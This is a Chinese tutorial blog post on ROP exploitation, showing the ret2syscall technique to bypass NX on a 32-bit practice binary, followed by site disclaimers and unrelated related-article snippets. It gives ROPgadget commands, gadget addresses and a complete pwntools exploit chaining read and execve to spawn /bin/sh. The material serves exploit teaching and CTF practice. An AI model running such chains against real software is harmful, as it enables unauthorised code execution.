PWN基础-ROP技术-ret2syscall突破NX保护

ROP(Return-Oriented Programming,返回导向编程)是一种利用程序已有代码片段来执行任意指令的攻击技术,常用于绕过现代系统的安全机制,尤其是不可执行栈(NX)

常规检查一下:

32 位程序,小端序,开启了 NX 保护

先用 gdb 测一下偏移:

拿到: 

offset = 44

我们 ret2syscall 实际还是希望调用 execve,和 ret2shellcode 类似,只是多了堆栈不可执行 

所有我们先找 pop eax;ret 的地址

ROPgadget --binary ret2sys --only "pop|ret" | grep "eax"

拿到:

pop_eax = 0x080bb2c6

 继续找另外三个寄存器:

ROPgadget --binary ret2sys --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"ROPgadget --binary 

也有,记录地址:

pop_edx_ecx_ebx = 0x0806ecb0

接下来我们找 /bin/sh 字符串的地址

ROPgadget --binary ret2sys --string "/bin/sh"

没有找到,因此我们后面需要手动将 /bin/sh 写到 bss 段

我们先继续找系统调用:

ROPgadget --binary ret2sys --only "int" | grep 0x80

记录地址:

int_0x80 = 0x08049421  //这里有点问题,实际地址应该是0x0806F350

接下来我们需要手动写入 /bin/sh ,找一个具有写权限的段:

我们就从这个 0x80eb000 开始写吧

bss_addr = 0x80eb000

我们先系统调用 read,其 32 位系统调用号是 3,即 0x3

payload:

p32(pop_eax)+p32(0x3)+p32(pop_edx_ecx_ebx)+p32(0x20)+p32(bss_addr)+p32(0)+p32(int_0x80)

后面我们会继续发送内容(/bin/sh)给 read 函数,读取到 bss_addr

由于栈帧是一次性的,因此我们需要一次性把完整的 ROP 链打进去

并且 Linux 下的 int 0x80 系统调用(read)是阻塞型的同步调用

我们继续调用 execve,其 32 位系统调用号是 11,即 0xb

payload:

p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)+p32(int_0x80)

最后再发送 /bin/sh 给read函数,完整 exp:

# @author:My6n
# @time:20250507
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./ret2sys')
offset = 44
pop_eax = 0x080bb2c6
pop_edx_ecx_ebx = 0x0806ecb0
int_0x80 = 0x0806F350
bss_addr = 0x80eb000
payload = cyclic(offset)+p32(pop_eax)+p32(0x3)+p32(pop_edx_ecx_ebx)+p32(0x20)+p32(bss_addr)+p32(0)+p32(int_0x80)+p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)+p32(int_0x80)
io.sendline(payload)
io.sendline('/bin/sh\x00')
io.interactive()

没有问题 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/80016.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

关于 js:2. 对象与原型链

一、对象 对象是: 键值对集合 所有非原始类型(number、string、boolean、null、undefined、symbol、bigint)都是对象 支持动态增删属性 每个对象都继承自 Object.prototype,具备原型链结构 1. 对象的创建方式 字面量方式&a…

AtCoder 第404场初级竞赛 A~E题解

A Not Found 【题目链接】 原题链接:A - Not Found 【考点】 枚举,数组计数法 【题目大意】 找到在26个字母中,未输出的一个字母,如果有多个,输出其中一个即可。 【解析】 遍历字符串,使用数组的记录对应字母的出现次数,最后遍历数组为0的下标,输出对应的字母即…

检测内存条好坏有工具,推荐几款内存检测工具

检测内存条的好坏其实很重要,这直接就关系到计算机是不是能够稳定的运行,也有一部分人就会关注内存检测的工具。你应该如何来选择的,不如看一下以下的这几个。 MemTest86是一个比较受到大家喜欢的内存检测工具,会支持各种类型&…

01Introduction

文本主题 关于协作式多智能体强化学习的简介 文章目录 文本主题一、MARL主要框架集中式训练与执行 (CTE)集中式训练分布式执行(CTDE)分布式训练与执行(DTE) 二、Dec-POMDPjoint policy V and Q 一、MARL主要框架 MARL当前主流的…

小程序问题(记录版)

1、样式不生效 在h5上生效 但是 小程序上没反应 解决办法:解除组件样式隔离 1、isolated 表示启用样式隔离,在自定义组件内外,使用 class 指定的样式将不会相互影响(一般情况下的默认值) 2、apply-shared 表示页面 wxs…

排列组合算法:解锁数据世界的魔法钥匙

在 C 算法的奇幻世界里,排列和组合算法就像是两把神奇的魔法钥匙,能够帮我们解锁数据世界中各种复杂问题的大门。今天,作为 C 算法小白的我,就带大家一起走进排列和组合算法的奇妙天地。 排列算法:创造所有可能的顺序…

深入探讨 UDP 协议与多线程 HTTP 服务器

深入探讨 UDP 协议与多线程 HTTP 服务器 一、UDP 协议:高效但“不羁”的传输使者 UDP 协议以其独特的特性在网络传输中占据一席之地,适用于对实时性要求高、能容忍少量数据丢失的场景。 1. UDP 的特点解析 无连接:无需提前建立连接&…

引用第三方自定义组件——微信小程序学习笔记

1. 使用 npm 安装第三方包 1.1 下载安装Node.js 工具 下载地址:Node.js — Download Node.js 1.2 安装 npm 包 在项目空白处右键弹出菜单,选择“在外部终端窗口打开”,打开命令行工具,输入以下指令: 1> 初始化:…

数字化转型是往哪转?怎么转?

写在前面 当下数字化转型的风还在吹,企业数字化转型过程中以数字化项目满足业务化需求,已有相关数字化平台的话,就搞大平台、大系统,解决数据孤岛。政府数字化转型亦是如此,某些省市发了系统优化整合的文,旨…

嵌入式学习--江协51单片机day2

今天学的不多,内容为:静态、动态数码管的控制,模块化编程和lcd1602调试工具 数码管的控制 由于内部电路的设计,数码管每次只能显示一个位置的一个数字,动态的实现是基于不同位置的闪烁频率高。 P2_4,P2_3,P2_2控制位…

《数据结构:二叉搜索树(Binary Search Tree)》

文章目录 :red_circle:一、二叉搜索树的概念:red_circle:二、二叉搜索树的性能分析:red_circle:三、二叉搜索树的操作(一)插入(二)查找(三)删除 :red_circle:四、二叉搜索树的实现代码(一&#…

【Linux相关】实时查看Nvidia-smi使用情况

【Linux相关】 实时查看Nvidia-smi使用情况 文章目录 实时查看Nvidia-smi使用情况 实时查看Nvidia-smi使用情况 在本地终端执行下述语句 watch -n 1 nvidia-smi每一秒都会更新,将 1 改为其他数字可以满足不同需求

Kotlin密封类优化Android状态管理

Kotlin 的密封类(Sealed Class)确实是 Android 开发中管理复杂 UI 状态的利器。它通过类型安全的层次结构,让状态管理代码更加清晰简洁。让我们从实际开发场景出发,深入探讨其应用: 一、密封类核心优势 受限的类继承…

JavaWeb:SpringBootWeb快速入门

介绍 Spring SpringBoot 入门程序 需求 步骤 修改端口 1.新建application.yml #设置端口 server:port: 8081入门程序-分析 为什么main方法能启动web应用-内嵌tomcat 为什么tomcat能定位HelloController程序 请求先到DisPatcherServlet,根据路径转发 小结 1.…

Unity学习笔记二

文章目录 3D数学公共计算结构体Mathf常用成员三角函数 向量Vector3基本成员点乘叉乘插值运算 四元数引出基本概念Quaternion结构体成员四元数运算 更多的Mono延迟函数协同程序多线程相关协程概念辨析协程本体协程调度器 Resources资源动态加载特殊文件夹Resources同步加载Resou…

为什么Transformer推理需要做KV缓存

一、我们先来回忆一下在transformer中KV在哪里出现过,都有什么作用? α的计算过程: 这里引入三个向量: 图中的q为Query,用来匹配key值 图中的k为key,用来被Query匹配 图中的Value,是用来被进行加权平均的 由…

【大模型面试】大模型(LLMs)高频面题全面整理(★2025年5月最新版★)

【大模型面试】大模型(LLMs)高频面题全面整理(★2025年5月最新版★) 🌟 嗨,你好,我是 青松 ! 🌈 自小刺头深草里,而今渐觉出蓬蒿。 本笔记适合大模型初学者和…

JAVA:使用 iTextPDF 处理 PDF 的技术详解

1、简述 iTextPDF 是一个功能强大的 Java PDF 库,可以用来创建、修改和处理 PDF 文档。通过它,我们可以完成如生成 PDF、读取 PDF 内容、添加水印、合并 PDF 等多种操作。本篇博客将详细介绍 iTextPDF 的使用方法,并提供一些实践样例,帮助开发者快速上手。 样例代码: htt…

模态与非模态窗口及使用时的数据交互

模态窗口使用exec()方法显示,会阻塞父窗口,直到对话框关闭; 非模态对话框允许同时操作主窗口和设置窗口,使用show()。 模态和非模态的主要区别在于用户能否与父窗口交互,非模态更适合需要频繁切换的场景。非模态窗口需…

Docker进入MySQL之后如何用sql文件初始化数据

关闭Docker-compose.yml里面所有容器 docker compose -f docker_compose.yml down后台形式开启Docker-compose.yml所有容器 docker compose -f docker_compose.yml up -d罗列出所有启动过的(包括退出过的)容器 docker ps -a进入指定容器ID内部 docke…